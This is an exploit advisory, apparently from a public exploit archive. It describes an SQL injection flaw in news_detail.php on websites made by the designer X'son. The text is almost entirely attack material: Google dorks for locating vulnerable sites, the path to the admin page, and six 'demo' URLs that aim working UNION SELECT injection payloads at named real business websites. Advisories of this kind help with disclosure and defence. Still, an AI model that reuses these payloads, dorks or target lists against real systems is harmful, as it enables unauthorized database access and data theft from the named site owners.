######################
# Exploit Title : Design By X’son SQL injection Vulnerability
# Exploit Author : Ashiyane Digital Security Team
# Vendor Homepage : http://www.xson.net/
# Google Dork 1: intext:"X’son" inurl:news_detail.php
# Google Dork 2: intext:"Xson" inurl:news_detail.php
# Date: 2016 21 October
# Tested On : Win 10 / Google Chrome / Mozilla Firefox
#
######################
# admin page : target/admin/
# demos :
# http://www.lancertools.com.tw/news_details.php?news_id=-3%27+union+select+1,2,3,version(),5,6,7,8,9,10--%20-&pages=1
# http://www.berlyetaga.com.tw/news_detail.php?pageNum_web_d=0&fid=22&p_no=-30+union+/*!50000select*/+1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--%20-
# http://www.syauto.com.tw/news_detail.php?news_id=-3%27+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14--%20-
# http://www.multiplybillion.com.tw/news_detail.php?news_id=-4%27+union+select+1,version(),3,4,5,6,7,8,9,10--%20-
# http://www.dancegpc.com/news_detail.php?news_id=-6%27+union+select+1,version(),3,4,5,6,7,8,9,10,11,12--%20-
# http://www.epassii.com/ch/news_detail.php?p_no=-25+UNION+SELECT+1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--%20-
######################
# discovered by : modiret
######################